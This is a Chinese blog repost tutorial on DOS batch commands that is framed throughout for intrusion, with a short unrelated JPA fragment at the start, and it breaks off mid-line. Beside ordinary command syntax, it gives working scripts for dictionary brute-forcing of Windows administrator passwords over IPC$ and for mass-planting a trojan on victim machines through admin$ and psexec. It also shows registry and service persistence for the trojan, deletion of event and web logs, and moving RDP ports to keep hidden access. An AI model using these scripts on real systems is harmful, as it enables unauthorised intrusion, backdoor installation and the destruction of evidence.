如果One的一方为null,而JPA直接返回Proxy,那么很明显会得到一个nullpointerexception。<br />所有对Ticket的查询都会应用上面的layz规则,而不是说只有通过find()方法才能激活lazy。Anonymoushttp://www.blogger.com/profile/15281890330341001231noreply@blogger.com0tag:blogger.com,1999:blog-30018430.post-45930665472748697312009-04-03T10:03:00.000+08:002009-04-03T10:04:04.925+08:00DOS批处理命令详解一.简单批处理内部命令简介<br />1.Echo 命令<br />打开回显或关闭请求回显功能,或显示消息。如果没有任何参数,echo 命令将显示当前回显设置。<br />语法<br />echo [{on│off}] [message]<br />Sample:@echo off / echo hello world<br />在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用> >> ^)结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。<br /><br /><br /><br />2.@ 命令<br />表示不显示@后面的命令,在入侵过程中(例如使用批处理来格式化敌人的硬盘)自然不能让对方看到你使用的命令啦。<br />Sample:@echo off<br />@echo Now initializing the program,please wait a minite...<br />@format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的,可喜的是微软留了个autoset这个参数给我们,效果和/y是一样的。)<br /><br /><br /><br />3.Goto 命令<br />指定跳转到标签,找到标签后,程序将处理从下一行开始的命令。<br />语法:goto label (label是参数,指定所要转向的批处理程序中的行。)<br />Sample:<br />if {%1}=={} goto noparms<br />if {%2}=={} goto noparms(如果这里的if、%1、%2你不明白的话,先跳过去,后面会有详细的解释。)<br />@Rem check parameters if null show usage<br />:noparms<br />echo Usage: monitor.bat ServerIP PortNumber<br />goto end<br />标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个:用来表示这个字母是标签,goto命令就是根据这个:来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。<br /><br /><br /><br />4.Rem 命令<br />注释命令,在C语言中相当与/*--------*/,它并不会被执行,只是起一个注释的作用,便于别人阅读和你自己日后修改。<br />Rem Message<br />Sample:@Rem Here is the description.<br /><br /><br /><br />5.Pause 命令<br />运行 Pause 命令时,将显示下面的消息:<br />Press any key to continue . . .<br />Sample:<br />@echo off<br />:begin<br />copy a:*.* d:\back<br />echo Please put a new disk into driver A<br />pause<br />goto begin<br />在这个例子中,驱动器 A 中磁盘上的所有文件均复制到d:\back中。显示的注释提示您将另一张磁盘放入驱动器 A 时,pause 命令会使程序挂起,以便您更换磁盘,然后按任意键继续处理。<br /><br /><br /><br />6.Call 命令<br />从一个批处理程序调用另一个批处理程序,并且不终止父批处理程序。call 命令接受用作调用目标的标签。如果在脚本或批处理文件外使用 Call,它将不会在命令行起作用。<br />语法<br />call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]<br />参数<br />[Drive:}[Path] FileName<br />指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。<br /><br /><br /><br />7.start 命令<br />调用外部程序,所有的DOS命令和命令行程序都可以由start命令来调用。<br />入侵常用参数:<br />MIN 开始时窗口最小化<br />SEPARATE 在分开的空间内开始 16 位 Windows 程序<br />HIGH 在 HIGH 优先级类别开始应用程序<br />REALTIME 在 REALTIME 优先级类别开始应用程序<br />WAIT 启动应用程序并等候它结束<br />parameters 这些为传送到命令/程序的参数<br />执行的应用程序是 32-位 GUI 应用程序时,CMD.EXE 不等应用程序终止就返回命令提示。如果在命令脚本内执行,该新行为则不会发生。<br />8.choice 命令<br />choice 使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加/c:参数,c:后应写提示可输入的字符,之间无空格。它的返回码为1234......<br />如: choice /c:dme defrag,mem,end<br />将显示<br />defrag,mem,end[D,M,E]?<br />Sample:<br />Sample.bat的内容如下:<br />@echo off<br />choice /c:dme defrag,mem,end<br />if errorlevel 3 goto defrag (应先判断数值最高的错误码)<br />if errorlevel 2 goto mem<br />if errotlevel 1 goto end<br /><br /><br /><br />:defrag<br />c:\dos\defrag<br />goto end<br />:mem<br />mem<br />goto end<br />:end<br />echo good bye<br /><br /><br /><br />此文件运行后,将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ,然后if语句将作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都 以goto end将程序跳到end标号处,然后程序将显示good bye,文件结束。<br /><br /><br /><br />9.If 命令<br /><br /><br /><br />if 表示将判断是否符合规定的条件,从而决定执行不同的命令。 有三种格式:<br />1、if "参数" == "字符串" 待执行的命令<br />参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。(注意是两个等号)<br />如if "%1"=="a" format a:<br />if {%1}=={} goto noparms<br />if {%2}=={} goto noparms<br /><br /><br /><br />2、if exist 文件名 待执行的命令<br />如果有指定的文件,则条件成立,运行命令,否则运行下一句。<br />如if exist config.sys edit config.sys<br /><br /><br /><br />3、if errorlevel / if not errorlevel 数字 待执行的命令<br />如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。<br />如if errorlevel 2 goto x2 <br />DOS程序运行时都会返回一个数字给DOS,称为错误码errorlevel或称返回码,常见的返回码为0、1。<br /><br /><br /><br />10.for 命令<br />for 命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令。<br />在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable<br /><br /><br /><br /><br />for {%variable│%%variable} in (set) do command [ CommandLineOptions]<br />%variable 指定一个单一字母可替换的参数。<br />(set) 指定一个或一组文件。可以使用通配符。<br />command 指定对每个文件执行的命令。<br />command-parameters 为特定命令指定参数或命令行开关。<br />在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable<br />而不要用 %variable。变量名称是区分大小写的,所以 %i 不同于 %I<br /><br /><br /><br />如果命令扩展名被启用,下列额外的 FOR 命令格式会受到<br />支持:<br /><br /><br /><br />FOR /D %variable IN (set) DO command [command-parameters]<br /><br /><br /><br />如果集中包含通配符,则指定与目录名匹配,而不与文件<br />名匹配。<br /><br /><br /><br />FOR /R [[drive:]path] %variable IN (set) DO command [command-<br /><br /><br /><br />检查以 [drive:]path 为根的目录树,指向每个目录中的<br />FOR 语句。如果在 /R 后没有指定目录,则使用当前<br />目录。如果集仅为一个单点(.)字符,则枚举该目录树。<br /><br /><br /><br />FOR /L %variable IN (start,step,end) DO command [command-para<br /><br /><br /><br />该集表示以增量形式从开始到结束的一个数字序列。<br />因此,(1,1,5) 将产生序列 1 2 3 4 5,(5,-1,1) 将产生<br />序列 (5 4 3 2 1)。<br /><br /><br /><br />FOR /F ["options"] %variable IN (file-set) DO command<br />FOR /F ["options"] %variable IN ("string") DO command<br />FOR /F ["options"] %variable IN ('command') DO command<br /><br /><br /><br />或者,如果有 usebackq 选项:<br /><br /><br /><br />FOR /F ["options"] %variable IN (file-set) DO command<br />FOR /F ["options"] %variable IN ("string") DO command<br />FOR /F ["options"] %variable IN ('command') DO command<br /><br /><br /><br />filenameset 为一个或多个文件名。继续到 filenameset 中的<br />下一个文件之前,每份文件都已被打开、读取并经过处理。<br />处理包括读取文件,将其分成一行行的文字,然后将每行<br />解析成零或更多的符号。然后用已找到的符号字符串变量值<br />调用 For 循环。以默认方式,/F 通过每个文件的每一行中分开<br />的第一个空白符号。跳过空白行。您可通过指定可选 "options"<br />参数替代默认解析操作。这个带引号的字符串包括一个或多个<br />指定不同解析选项的关键字。这些关键字为:<br /><br /><br /><br />eol=c - 指一个行注释字符的结尾(就一个)<br />skip=n - 指在文件开始时忽略的行数。<br />delims=xxx - 指分隔符集。这个替换了空格和跳格键的<br />默认分隔符集。<br />tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代<br />的 for 本身。这会导致额外变量名称的<br />格式为一个范围。通过 nth 符号指定 m<br />符号字符串中的最后一个字符星号,<br />那么额外的变量将在最后一个符号解析之<br />分配并接受行的保留文本。<br />usebackq - 指定新语法已在下类情况中使用:<br />在作为命令执行一个后引号的字符串并且<br />引号字符为文字字符串命令并允许在 fi<br />中使用双引号扩起文件名称。<br /><br /><br /><br />sample1:<br />FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command<br /><br /><br /><br />会分析 myfile.txt 中的每一行,忽略以分号打头的那些行,将<br />每行中的第二个和第三个符号传递给 for 程序体;用逗号和/或<br />空格定界符号。请注意,这个 for 程序体的语句引用 %i 来<br />取得第二个符号,引用 %j 来取得第三个符号,引用 %k<br />来取得第三个符号后的所有剩余符号。对于带有空格的文件<br />名,您需要用双引号将文件名括起来。为了用这种方式来使<br />用双引号,您还需要使用 usebackq 选项,否则,双引号会<br />被理解成是用作定义某个要分析的字符串的。<br /><br /><br /><br />%i 专门在 for 语句中得到说明,%j 和 %k 是通过<br />tokens= 选项专门得到说明的。您可以通过 tokens= 一行<br />指定最多 26 个符号,只要不试图说明一个高于字母 'z' 或<br />'Z' 的变量。请记住,FOR 变量是单一字母、分大小写和全局的;<br />同时不能有 52 个以上都在使用中。<br /><br /><br /><br />您还可以在相邻字符串上使用 FOR /F 分析逻辑;方法是,<br />用单引号将括号之间的 filenameset 括起来。这样,该字符<br />串会被当作一个文件中的一个单一输入行。<br /><br /><br /><br />最后,您可以用 FOR /F 命令来分析命令的输出。方法是,将<br />括号之间的 filenameset 变成一个反括字符串。该字符串会<br />被当作命令行,传递到一个子 CMD.EXE,其输出会被抓进<br />内存,并被当作文件分析。因此,以下例子:<br /><br /><br /><br />FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i<br /><br /><br /><br />会枚举当前环境中的环境变量名称。<br /><br /><br /><br />另外,FOR 变量参照的替换已被增强。您现在可以使用下列<br />选项语法:<br /><br /><br /><br />~I - 删除任何引号("),扩充 %I<br />%~fI - 将 %I 扩充到一个完全合格的路径名<br />%~dI - 仅将 %I 扩充到一个驱动器号<br />%~pI - 仅将 %I 扩充到一个路径<br />%~nI - 仅将 %I 扩充到一个文件名<br />%~xI - 仅将 %I 扩充到一个文件扩展名<br />%~sI - 扩充的路径只含有短名<br />%~aI - 将 %I 扩充到文件的文件属性<br />%~tI - 将 %I 扩充到文件的日期/时间<br />%~zI - 将 %I 扩充到文件的大小<br />%~$PATH:I - 查找列在路径环境变量的目录,并将 %I 扩充<br />到找到的第一个完全合格的名称。如果环境变量<br />未被定义,或者没有找到文件,此组合键会扩充<br />空字符串<br /><br /><br /><br />可以组合修饰符来得到多重结果:<br /><br /><br /><br />%~dpI - 仅将 %I 扩充到一个驱动器号和路径<br />%~nxI - 仅将 %I 扩充到一个文件名和扩展名<br />%~fsI - 仅将 %I 扩充到一个带有短名的完整路径名<br />%~dp$PATH:i - 查找列在路径环境变量的目录,并将 %I 扩充<br />到找到的第一个驱动器号和路径。<br />%~ftzaI - 将 %I 扩充到类似输出线路的 DIR<br /><br /><br /><br />在以上例子中,%I 和 PATH 可用其他有效数值代替。%~ 语法<br />用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名<br />比较易读,而且避免与不分大小写的组合键混淆。<br /><br /><br /><br />以上是MS的官方帮助,下面我们举几个例子来具体说明一下For命令在入侵中的用途。<br /><br /><br /><br />sample2:<br /><br /><br /><br />利用For命令来实现对一台目标Win2k主机的暴力密码破解。<br />我们用net use \\ip\ipc$ "password" /u:"administrator"来尝试这和目标主机进行连接,当成功时记下密码。<br />最主要的命令是一条:for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator"<br />用i%来表示admin的密码,在dict.txt中这个取i%的值用net use 命令来连接。然后将程序运行结果传递给find命令--<br />for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"│find ":命令成功完成">>D:\ok.txt ,这样就ko了。<br /><br /><br /><br />sample3:<br /><br /><br /><br />你有没有过手里有大量肉鸡等着你去种后门+木马呢?,当数量特别多的时候,原本很开心的一件事都会变得很郁闷:)。文章开头就谈到使用批处理文件,可以简化日常或重复性任务。那么如何实现呢?呵呵,看下去你就会明白了。<br /><br /><br /><br />主要命令也只有一条:(在批处理文件中使用 FOR 命令时,指定变量使用 %%variable)<br />@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k<br />tokens的用法请参见上面的sample1,在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数%i %j %k。<br />而cultivate.bat无非就是用net use命令来建立IPC$连接,并copy木马+后门到victim,然后用返回码(If errorlever =)来筛选成功种植后门的主机,并echo出来,或者echo到指定的文件。<br />delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根据%%i %%j %%k表示的对象来排列,一般就是 ip password username。<br />代码雏形:<br />--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------<br />@echo off<br />@if "%1"=="" goto usage<br />@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k<br />@goto end<br />:usage<br />@echo run this batch in dos modle.or just double-click it.<br />:end<br />--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------<br /><br /><br /><br /><br />------------------- cut here then save as a batchfile(I call it door.bat) -----------------------------<br />@net use \\%1\ipc$ %3 /u:"%2"<br />@if errorlevel 1 goto failed<br />@echo Trying to establish the IPC$ connection ............OK<br />@copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt<br />@psexec \\%1 c:\winnt\system32\windrv32.exe<br />@psexec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt<br />:failed<br />@echo Sorry can not connected to the victim.<br />----------------- cut here then save as a batchfile(I call it door.bat) --------------------------------<br />这只是一个自动种植后门批处理的雏形,两个批处理和后门程序(Windrv32.exe),PSexec.exe需放在统一目录下.批处理内容<br />尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究.<br /><br /><br /><br />二.如何在批处理文件中使用参数<br />批处理中可以使用参数,一般从1%到 9%这九个,当有多个参数时需要用shift来移动,这种情况并不多见,我们就不考虑它了。<br />sample1:fomat.bat<br />@echo off<br />if "%1"=="a" format a:<br />:format<br />@format a:/q/u/auotset<br />@echo please insert another disk to driver A.<br />@pause<br />@goto fomat<br />这个例子用于连续地格式化几张软盘,所以用的时候需在dos窗口输入fomat.bat a,呵呵,好像有点画蛇添足了~<br />sample2:<br />当我们要建立一个IPC$连接地时候总要输入一大串命令,弄不好就打错了,所以我们不如把一些固定命令写入一个批处理,把肉鸡地ip password username 当着参数来赋给这个批处理,这样就不用每次都打命令了。<br />@echo off<br />@net use \\1%\ipc$ "2%" /u:"3%" 注意哦,这里PASSWORD是第二个参数。<br />@if errorlevel 1 echo connection failed<br />怎么样,使用参数还是比较简单的吧?你这么帅一定学会了.No.3<br />三.如何使用组合命令(Compound Command)<br /><br /><br /><br />1.&<br /><br /><br /><br />Usage:第一条命令 & 第二条命令 [& 第三条命令...]<br /><br /><br /><br />用这种方法可以同时执行多条命令,而不管命令是否执行成功<br /><br /><br /><br />Sample:<br />C:\>dir z: & dir c:\Ex4rch<br />The system cannot find the path specified.<br />Volume in drive C has no label.<br />Volume Serial Number is 0078-59FB<br /><br /><br /><br />Directory of c:\Ex4rch<br /><br /><br /><br />2002-05-14 23:51 .<br />2002-05-14 23:51 ..<br />2002-05-14 23:51 14 sometips.gif<br /><br /><br /><br />2.&&<br /><br /><br /><br />Usage:第一条命令 && 第二条命令 [&& 第三条命令...]<br /><br /><br /><br />用这种方法可以同时执行多条命令,当碰到执行出错的命令后将不执行后面的命令,如果一直没有出错则一直执行完所有命令;<br /><br /><br /><br />Sample:<br />C:\>dir z: && dir c:\Ex4rch<br />The system cannot find the path specified.<br /><br /><br /><br />C:\>dir c:\Ex4rch && dir z:<br />Volume in drive C has no label.<br />Volume Serial Number is 0078-59FB<br /><br /><br /><br />Directory of c:\Ex4rch<br /><br /><br /><br />2002-05-14 23:55 .<br />2002-05-14 23:55 ..<br />2002-05-14 23:55 14 sometips.gif<br />1 File(s) 14 bytes<br />2 Dir(s) 768,671,744 bytes free<br />The system cannot find the path specified.<br /><br /><br /><br />在做备份的时候可能会用到这种命令会比较简单,如:<br />dir file&://192.168.0.1/database/backup.mdb && copy file&://192.168.0.1/database/backup.mdb E:\backup<br />如果远程服务器上存在backup.mdb文件,就执行copy命令,若不存在该文件则不执行copy命令。这种用法可以替换IF exist了 :)<br /><br /><br /><br />3.││<br /><br /><br /><br />Usage:第一条命令 ││ 第二条命令 [││ 第三条命令...]<br /><br /><br /><br />用这种方法可以同时执行多条命令,当碰到执行正确的命令后将不执行后面的命令,如果没有出现正确的命令则一直执行完所有命令;<br /><br /><br /><br />Sample:<br />C:\Ex4rch>dir sometips.gif ││ del sometips.gif<br />Volume in drive C has no label.<br />Volume Serial Number is 0078-59FB<br /><br /><br /><br />Directory of C:\Ex4rch<br /><br /><br /><br />2002-05-14 23:55 14 sometips.gif<br />1 File(s) 14 bytes<br />0 Dir(s) 768,696,320 bytes free<br /><br /><br /><br />组合命令使用的例子:<br />sample:<br />@copy trojan.exe \\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PASS %3 >>victim.txt<br /><br /><br /><br />四、管道命令的使用<br /><br /><br /><br />1.│ 命令<br />Usage:第一条命令 │ 第二条命令 [│ 第三条命令...]<br />将第一条命令的结果作为第二条命令的参数来使用,记得在unix中这种方式很常见。<br /><br /><br /><br /><br />sample:<br />time /t>>D:\IP.log<br />netstat -n -p tcp│find ":3389">>D:\IP.log<br />start Explorer<br />看出来了么?用于终端服务允许我们为用户自定义起始的程序,来实现让用户运行下面这个bat,以获得登录用户的IP。<br /><br /><br /><br />2.>、>>输出重定向命令<br />将一条命令或某个程序输出结果的重定向到特定文件中, > 与 >>的区别在于,>会清除调原有文件中的内容后写入指定文件,而>>只会追加内容到指定文件中,而不会改动其中的内容。<br /><br /><br /><br />sample1:<br />echo hello world>c:\hello.txt (stupid example?)<br /><br /><br /><br />sample2:<br />时下DLL木马盛行,我们知道system32是个捉迷藏的好地方,许多木马都削尖了脑袋往那里钻,DLL马也不例外,针对这一点我们可以在安装好系统和必要的应用程序后,对该目录下的EXE和DLL文件作一个记录:<br />运行CMD--转换目录到system32--dir *.exe>exeback.txt & dir *.dll>dllback.txt,<br />这样所有的EXE和DLL文件的名称都被分别记录到exeback.txt和dllback.txt中,<br />日后如发现异常但用传统的方法查不出问题时,则要考虑是不是系统中已经潜入DLL木马了.<br />这时我们用同样的命令将system32下的EXE和DLL文件记录到另外的exeback1.txt和dllback1.txt中,然后运行:<br />CMD--fc exeback.txt exeback1.txt>diff.txt & fc dllback.txt dllback1.txt>diff.txt.(用FC命令比较前后两次的DLL和EXE文件,并将结果输入到diff.txt中),这样我们就能 发现一些多出来的DLL和EXE文件,然后通过查看创建时间、版本、是否经过压缩等就能够比较容易地判断出是不是已经被DLL木马光顾了。没有是最好,如 果有的话也不要直接DEL掉,先用regsvr32 /u trojan.dll将后门DLL文件注销掉,再把它移到回收站里,若系统没有异常反映再将之彻底删除或者提交给杀毒软件公司。<br /><br /><br /><br />3.< 、>& 、<&<br />< 从文件中而不是从键盘中读入命令输入。<br />>& 将一个句柄的输出写入到另一个句柄的输入中。<br /><& 从一个句柄读取输入并将其写入到另一个句柄输出中。<br />这些并不常用,也就不多做介绍。<br /><br /><br /><br />No.5<br />五.如何用批处理文件来操作注册表<br /><br /><br /><br />在入侵过程中经常回操作注册表的特定的键值来实现一定的目的,例如:为了达到隐藏后门、木马程序而删除Run下残余的键值。或者创建一个服务用以加载后 门。当然我们也会修改注册表来加固系统或者改变系统的某个属性,这些都需要我们对注册表操作有一定的了解。下面我们就先学习一下如何使用.REG文件来操 作注册表.(我们可以用批处理来生成一个REG文件)<br />关于注册表的操作,常见的是创建、修改、删除。<br /><br /><br /><br />1.创建<br />创建分为两种,一种是创建子项(Subkey)<br /><br /><br /><br />我们创建一个文件,内容如下:<br /><br /><br /><br />Windows Registry Editor Version 5.00<br /><br /><br /><br />[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\hacker]<br /><br /><br /><br />然后执行该脚本,你就已经在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft下创建了一个名字为"hacker"的子项。<br /><br /><br /><br />另一种是创建一个项目名称<br />那这种文件格式就是典型的文件格式,和你从注册表中导出的文件格式一致,内容如下:<br /><br /><br /><br />Windows Registry Editor Version 5.00<br /><br /><br /><br />[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]<br />"Invader"="Ex4rch"<br />"Door"=C:\\WINNT\\system32\\door.exe<br />"Autodos"=dword:02<br /><br /><br /><br />这样就在[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下<br />新建了:Invader、door、about这三个项目<br />Invader的类型是"String value"<br />door的类型是"REG SZ value"<br />Autodos的类型是"DWORD value"<br /><br /><br /><br /><br />2.修改<br />修改相对来说比较简单,只要把你需要修改的项目导出,然后用记事本进行修改,然后导入(regedit /s)即可。<br /><br /><br /><br />3.删除<br />我们首先来说说删除一个项目名称,我们创建一个如下的文件:<br /><br /><br /><br />Windows Registry Editor Version 5.00<br /><br /><br /><br />[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]<br />"Ex4rch"=-<br /><br /><br /><br />执行该脚本,[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下的"Ex4rch"就被删除了;<br /><br /><br /><br />我们再看看删除一个子项,我们创建一个如下的脚本:<br /><br /><br /><br />Windows Registry Editor Version 5.00<br /><br /><br /><br />[-HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]<br /><br /><br /><br />执行该脚本,[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]就已经被删除了。<br /><br /><br /><br />相信看到这里,.reg文件你基本已经掌握了。那么现在的目标就是用批处理来创建特定内容的.reg文件了,记得我们前面说道的利用重定向符号可以很容易地创建特定类型的文件。<br /><br /><br /><br />samlpe1:如上面的那个例子,如想生成如下注册表文件<br />Windows Registry Editor Version 5.00<br /><br /><br /><br />[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]<br />"Invader"="Ex4rch"<br />"door"=hex:255<br />"Autodos"=dword:000000128<br />只需要这样:<br />@echo Windows Registry Editor Version 5.00>>Sample.reg<br /><br /><br /><br />@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]>Sample.reg<br />@echo "Invader"="Ex4rch">>Sample.reg<br />@echo "door"=5>>C:\\WINNT\\system32\\door.exe>>Sample.reg<br />@echo "Autodos"=dword:02>>Sample.reg<br /><br /><br /><br /><br />samlpe2:<br />我们现在在使用一些比较老的木马时,可能会在注册表的[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows \CurrentVersion\Run(Runonce、Runservices、Runexec)]下生成一个键值用来实现木马的自启动.但是这样很 容易暴露木马程序的路径,从而导致木马被查杀,相对地若是将木马程序注册为系统服务则相对安全一些.下面以配置好地IRC木马DSNX为例(名为 windrv32.exe)<br />@start windrv32.exe<br />@attrib +h +r windrv32.exe<br />@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] >>patch.dll<br />@echo "windsnx "=- >>patch.dll<br />@sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver binpath= c:\winnt\system32\windrv32.exe<br />@regedit /s patch.dll<br />@delete patch.dll<br /><br /><br /><br />@REM [删除DSNXDE在注册表中的启动项,用sc.exe将之注册为系统关键性服务的同时将其属性设为隐藏和只读,并config为自启动]<br />@REM 这样不是更安全.<br /><br /><br /><br />六.精彩实例放送。<br />1.删除win2k/xp系统默认共享的批处理<br />------------------------ cut here then save as .bat or .cmd file ---------------------------<br /><br /><br /><br />@echo preparing to delete all the default shares.when ready pres any key.<br />@pause<br />@echo off<br /><br /><br /><br />:Rem check parameters if null show usage.<br />if {%1}=={} goto :Usage<br /><br /><br /><br />:Rem code start.<br />echo.<br />echo ------------------------------------------------------<br />echo.<br />echo Now deleting all the default shares.<br />echo.<br />net share %1$ /delete<br />net share %2$ /delete<br />net share %3$ /delete<br />net share %4$ /delete<br />net share %5$ /delete<br />net share %6$ /delete<br />net share %7$ /delete<br />net share %8$ /delete<br />net share %9$ /delete<br />net stop Server<br />net start Server<br />echo.<br />echo All the shares have been deleteed<br />echo.<br />echo ------------------------------------------------------<br />echo.<br />echo Now modify the registry to change the system default properties.<br />echo.<br />echo Now creating the registry file<br />echo Windows Registry Editor Version 5.00> c:\delshare.reg<br />echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters]>> c:\delshare.reg<br />echo "AutoShareWks"=dword:00000000>> c:\delshare.reg<br />echo "AutoShareServer"=dword:00000000>> c:\delshare.reg<br />echo Nowing using the registry file to chang the system default properties.<br />regedit /s c:\delshare.reg<br />echo Deleting the temprotarily files.<br />del c:\delshare.reg<br />goto :END<br /><br /><br /><br />:Usage<br />echo.<br />echo ------------------------------------------------------<br />echo.<br />echo ☆ A example for batch file ☆<br />echo ☆ [Use batch file to change the sysytem share properties.] ☆<br />echo.<br />echo Author:Ex4rch<br />echo Mail:Ex4rch@hotmail.com QQ:1672602<br />echo.<br />echo Error:Not enough parameters<br />echo.<br />echo ☆ Please enter the share disk you wanna delete ☆<br />echo.<br />echo For instance,to delete the default shares:<br />echo delshare c d e ipc admin print<br />echo.<br />echo If the disklable is not as C: D: E: ,Please chang it youself.<br />echo.<br />echo example:<br />echo If locak disklable are C: D: E: X: Y: Z: ,you should chang the command into :<br />echo delshare c d e x y z ipc admin print<br />echo.<br />echo *** you can delete nine shares once in a useing ***<br />echo.<br />echo ------------------------------------------------------<br />goto :EOF<br /><br /><br /><br />:END<br />echo.<br />echo ------------------------------------------------------<br />echo.<br />echo OK,delshare.bat has deleted all the share you assigned.<br />echo.Any questions ,feel free to mail to Ex4rch@hotmail.com.<br />echo<br />echo.<br />echo ------------------------------------------------------<br />echo.<br /><br /><br /><br />:EOF<br />echo end of the batch file<br />------------------------ cut here then save as .bat or .cmd file ---------------------------<br /><br /><br /><br /><br />2.全面加固系统(给肉鸡打补丁)的批处理文件<br />------------------------ cut here then save as .bat or .cmd file ---------------------------<br /><br /><br /><br />@echo Windows Registry Editor Version 5.00 >patch.dll<br />@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters] >>patch.dll<br /><br /><br /><br />@echo "AutoShareServer"=dword:00000000 >>patch.dll<br />@echo "AutoShareWks"=dword:00000000 >>patch.dll<br />@REM [禁止共享]<br /><br /><br /><br />@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa] >>patch.dll<br />@echo "restrictanonymous"=dword:00000001 >>patch.dll<br />@REM [禁止匿名登录]<br /><br /><br /><br />@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters] >>patch.dll<br />@echo "SMBDeviceEnabled"=dword:00000000 >>patch.dll<br />@REM [禁止及文件访问和打印共享]<br /><br /><br /><br />@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\@REMoteRegistry] >>patch.dll<br />@echo "Start"=dword:00000004 >>patch.dll<br />@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Schedule] >>patch.dll<br />@echo "Start"=dword:00000004 >>patch.dll<br />@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] >>patch.dll<br />@echo "ShutdownWithoutLogon"="0" >>patch.dll<br />@REM [禁止登录前关机]<br /><br /><br /><br />@echo "DontDisplayLastUserName"="1" >>patch.dll<br />@REM [禁止显示前一个登录用户名称]<br />@regedit /s patch.dll<br /><br /><br /><br />------------------------ cut here then save as .bat or .cmd file ---------------------------<br /><br /><br /><br />下面命令是清除肉鸡所有日志,禁止一些危险的服务,并修改肉鸡的terminnal service留跳后路。<br />@regedit /s patch.dll<br />@net stop w3svc<br />@net stop event log<br />@del c:\winnt\system32\logfiles\w3svc1\*.* /f /q<br />@del c:\winnt\system32\logfiles\w3svc2\*.* /f /q<br />@del c:\winnt\system32\config\*.event /f /q<br />@del c:\winnt\system32dtclog\*.* /f /q<br />@del c:\winnt\*.txt /f /q<br />@del c:\winnt\*.log /f /q<br />@net start w3svc<br />@net start event log<br />@rem [删除日志]<br /><br /><br /><br /><br />@net stop lanmanserver /y<br />@net stop Schedule /y<br />@net stop RemoteRegistry /y<br />@del patch.dll<br />@echo The server has been patched,Have fun.<br />@del patch.bat<br />@REM [禁止一些危险的服务。]<br /><br /><br /><br />@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] >>patch.dll<br />@echo "PortNumber"=dword:00002010 >>patch.dll<br />@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp >>patch.dll<br />@echo "PortNumber"=dword:00002012 >>patch.dll<br />@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>patch.dll<br />@echo "Start"=dword:00000002 >>patch.dll<br />@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SecuService] >>patch.dll<br />@echo "Start"=dword:00000002 >>patch.dll<br />@echo "ErrorControl"=dword:00000001 >>patch.dll<br />@echo "ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\ >>patch.dll<br />@echo 74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65,\ >>patch.dll<br />@echo 